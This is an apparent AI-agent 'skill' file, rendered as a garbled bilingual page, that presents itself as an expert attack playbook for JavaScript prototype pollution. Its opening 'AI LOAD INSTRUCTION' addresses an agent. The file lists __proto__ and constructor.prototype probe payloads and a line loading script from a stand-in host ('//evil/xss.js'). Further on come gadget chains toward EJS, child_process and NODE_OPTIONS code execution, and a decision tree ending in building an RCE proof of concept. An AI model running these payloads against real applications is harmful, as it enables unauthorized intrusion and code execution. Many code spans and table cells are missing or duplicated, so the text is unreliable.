prototype-pollution
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseSKILL: Prototype Pollution — Expert Attack Playbook
SKILL: Prototype Pollution — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert prototype pollution for client and server JS. Coversvs__proto__, merge-sink detection, Express/qs-style black-box probes, and gadget chains (EJS, Timelion-class patterns, child_process/NODE_OPTIONS). Assumes you know object spread and prototype inheritance — focus is on parser behavior and post-pollution sinks.constructor.prototype
中文路由提示:当存在深度合并、递归 assign、 后 、或 URL 查询被转成嵌套对象时,优先怀疑 PP。
JSON.parseObject.assignAI LOAD INSTRUCTION: Expert prototype pollution for client and server JS. Coversvs__proto__, merge-sink detection, Express/qs-style black-box probes, and gadget chains (EJS, Timelion-class patterns, child_process/NODE_OPTIONS). Assumes you know object spread and prototype inheritance — focus is on parser behavior and post-pollution sinks.constructor.prototype
Chinese Routing Tip: Prioritize suspicion of PP when there is deep merging, recursive assign, after , or URL queries are converted into nested objects.
Object.assignJSON.parse0. QUICK START
0. QUICK START
Client-side first probes
Client-side first probes
text
#__proto__[polluted]=1
#__proto__[polluted]=polluted
#constructor[prototype][polluted]=1在可反射到 DOM 或框架路由的场景,配合 / 观察是否全局对象属性被污染。
alert(1)consoletext
#__proto__[xxx]=alert(1)text
#__proto__[polluted]=1
#__proto__[polluted]=polluted
#constructor[prototype][polluted]=1In scenarios that can be reflected to the DOM or framework routing, use / to observe whether global object properties are polluted.
alert(1)consoletext
#__proto__[xxx]=alert(1)Server-side first probes(JSON / form)
Server-side first probes(JSON / form)
json
{"__proto__":{"polluted":true}}json
{"constructor":{"prototype":{"polluted":true}}}发送后检查:后续无关响应是否带上异常头/状态码/JSON 空格,或应用逻辑是否读取到 (见 §3 探测表)。
Object.prototype.pollutedjson
{"__proto__":{"polluted":true}}json
{"constructor":{"prototype":{"polluted":true}}}Check after sending: See if subsequent unrelated responses carry abnormal headers/status codes/JSON spaces, or if application logic reads (see §3 detection table).
Object.prototype.pollutedQuick boolean
Quick boolean
若目标使用 、、、部分 / 配置,提高优先级。
lodash.mergedeep-extendhoek.applyToDefaultsqsquery-stringIf the target uses , , , or partial / configurations, increase priority.
lodash.mergedeep-extendhoek.applyToDefaultsqsquery-string1. MECHANISM
1. MECHANISM
原型链:访问 时,若 自有属性无 ,沿 向上查,直至 。
obj.keyobjkey[[Prototype]]Object.prototype__proto____proto__Object.prototype{ "__proto__": { "x": 1 } }Object.prototype.x = 1constructor.prototypeconstructorconstructor.prototypeprototypeObject.prototypejson
{"constructor":{"prototype":{"polluted":1}}}与 不一定等价(过滤、JSON 解析、Bun/Node 差异),需双线测试。
__proto__攻击本质:不是「多传一个参数」,而是在未隔离的合并算法里,把可控键指向原型对象,使全局或共享模板上下文获得恶意属性,后续代码「正常」读取该属性即触发 gadget。
Prototype Chain: When accessing , if does not have as its own property, it searches up along until it reaches .
obj.keyobjkey[[Prototype]]Object.prototype__proto____proto__Object.prototype{ "__proto__": { "x": 1 } }Object.prototype.x = 1constructor.prototypeconstructorconstructor.prototypeprototypeObject.prototypejson
{"constructor":{"prototype":{"polluted":1}}}It is not necessarily equivalent to (differences in filtering, JSON parsing, Bun/Node), so dual-line testing is required.
__proto__Attack Essence: It is not "passing one more parameter", but in a non-isolated merge algorithm, pointing a controllable key to the prototype object, so that the global or shared template context obtains malicious properties, and subsequent code "normally" reads this property to trigger the gadget.
2. CLIENT-SIDE DETECTION
2. CLIENT-SIDE DETECTION
URL fragment
URL fragment
text
https://app.example/page#__proto__[admin]=1text
https://app.example/#__proto__[xxx]=alert(1)若路由或 analytics 把 fragment 解析进对象再合并,可能污染。
text
https://app.example/page#__proto__[admin]=1text
https://app.example/#__proto__[xxx]=alert(1)If the router or analytics parses the fragment into an object and merges it, pollution may occur.
constructor.prototype
path
constructor.prototypeconstructor.prototype
path
constructor.prototypetext
#constructor[prototype][role]=admintext
#constructor[prototype][role]=adminDOM / 属性注入思路
DOM / attribute injection ideas
框架若把属性名当对象键合并:
text
__proto__[src]=//evil/xss.js事件处理器型键(实现相关):
text
__proto__[onerror]=alert(1)验证:新开无 fragment 的页面,在控制台检查 是否残留测试键;注意扩展与 DevTools 干扰。
Object.prototypeIf the framework merges attribute names as object keys:
text
__proto__[src]=//evil/xss.jsEvent handler type keys (implementation dependent):
text
__proto__[onerror]=alert(1)Verification: Open a new page without fragment, check in the console whether has residual test keys; pay attention to interference from extensions and DevTools.
Object.prototype3. SERVER-SIDE DETECTION (Express / Node, black-box)
3. SERVER-SIDE DETECTION (Express / Node, black-box)
以下载荷假设 body 或 query 被 qs 或同类解析器深度解析进对象(或与 组合)。观测全局副作用,而非仅当前接口返回值。
body-parser| Payload(JSON 示意) | 预期可观察信号 |
|---|---|
| 后续请求中多参数被忽略或解析异常( |
| |
| |
| JSON 序列化响应出现额外空格( |
| CORS 响应出现 |
| 某条响应状态码变为 510 或异常码(应用从对象读 |
操作要点:先发污染请求,再发干净请求观察是否持久;连接池与 worker 生命周期会影响「是否全局可见」。
The following payloads assume that the body or query is deeply parsed into an object by qs or similar parsers (or combined with ). Observe global side effects, not just the return value of the current interface.
body-parser| Payload(JSON 示意) | 预期可观察信号 |
|---|---|
| Multi-parameters are ignored or parsed abnormally in subsequent requests ( |
| Double question mark prefixes like |
| Nested keys like |
| JSON serialized responses have extra spaces ( |
| CORS responses have headers related to |
| A response status code becomes 510 or other abnormal code (the application reads |
Operation Points: Send the pollution request first, then send a clean request to observe whether it is persistent; connection pool and worker lifecycle will affect "whether it is globally visible".
4. EXPLOITATION GADGETS
4. EXPLOITATION GADGETS
| 目标 / 场景 | 载荷或模式 | 备注 |
|---|---|---|
| EJS | | |
| Timelion 表达式链(CVE-2019-7609) | | 历史链:原型污染 + 时间线表达式执行;用于理解 表达式 + PP 组合 |
Node | 污染 | 依赖后续是否 |
| 通用 constructor 路径 | | 绕过仅过滤 |
链式思维:污染 → 某依赖 且未 → RCE / SSRF / 路径穿越。
obj.settings.xxxhasOwnProperty| 目标 / 场景 | 载荷或模式 | 备注 |
|---|---|---|
| EJS | | If options such as |
| Timelion Expression Chain (CVE-2019-7609) | | Historical chain: Prototype pollution + timeline expression execution; used to understand the combination of expression + PP |
Node | Pollute | Depends on whether |
| General constructor path | | Bypass weak validation that only filters the |
Chain Thinking: Pollution → A dependency reads without check → RCE / SSRF / path traversal.
obj.settings.xxxhasOwnProperty5. TOOLS
5. TOOLS
| 项目 | 用途 |
|---|---|
| yeswehack/pp-finder | 辅助定位 PP 易感合并点与模式 |
| yuske/silent-spring | 研究与检测相关原型污染面 |
| yuske/server-side-prototype-pollution | 服务端 PP 测试套件/思路 |
| BlackFan/client-side-prototype-pollution | 浏览器端 PP 案例与 payload |
| portswigger/server-side-prototype-pollution | Burp 生态扩展/配套材料 |
| msrkp/PPScan | 扫描/验证辅助 |
优先在授权目标上使用;自动化工具可能对状态ful 应用产生副作用。
| 项目 | 用途 |
|---|---|
| yeswehack/pp-finder | Assist in locating PP susceptible merge points and patterns |
| yuske/silent-spring | Research and detect related prototype pollution surfaces |
| yuske/server-side-prototype-pollution | Server-side PP test suite/ideas |
| BlackFan/client-side-prototype-pollution | Browser-side PP cases and payloads |
| portswigger/server-side-prototype-pollution | Burp ecosystem extension/supporting materials |
| msrkp/PPScan | Scanning/verification assistance |
Priority is given to use on authorized targets; automated tools may have side effects on stateful applications.
6. DECISION TREE
6. DECISION TREE
Input merged into nested object?
(query, JSON, GraphQL vars, YAML→JSON)
|
NO --------------+-------------- YES
| |
Other vuln class Parser allows __proto__ /
constructor.prototype keys?
|
NO --------------+-------------- YES
| |
Check unicode / Confirm global effect:
bypass of key names clean follow-up request
| |
+--------------+----------------+
|
v
Gadget present? (template, spawn, JSON.stringify opts, CORS)
|
NO ------------------+------------------ YES
| |
Report PP as DoS / Build minimal RCE or
logic impact high-impact PoC
| |
+---------------------+-------------------+
|
v
Client-side: fragment / DOM / third-party script
Server-side: qs/body-parser/lodash/deep-merge version audit Input merged into nested object?
(query, JSON, GraphQL vars, YAML→JSON)
|
NO --------------+-------------- YES
| |
Other vuln class Parser allows __proto__ /
constructor.prototype keys?
|
NO --------------+-------------- YES
| |
Check unicode / Confirm global effect:
bypass of key names clean follow-up request
| |
+--------------+----------------+
|
v
Gadget present? (template, spawn, JSON.stringify opts, CORS)
|
NO ------------------+------------------ YES
| |
Report PP as DoS / Build minimal RCE or
logic impact high-impact PoC
| |
+---------------------+-------------------+
|
v
Client-side: fragment / DOM / third-party script
Server-side: qs/body-parser/lodash/deep-merge version auditRelated routing
Related routing
- 输入路由与多类注入并列入口 → Injection Testing Router。
- 模板执行链(非 PP)→ SSTI。
- 不安全反序列化(非 JS 原型)→ Deserialization。
- Input routing and multiple types of injection parallel entry → Injection Testing Router.
- Template execution chain (non-PP) → SSTI.
- Insecure deserialization (non-JS prototype) → Deserialization.",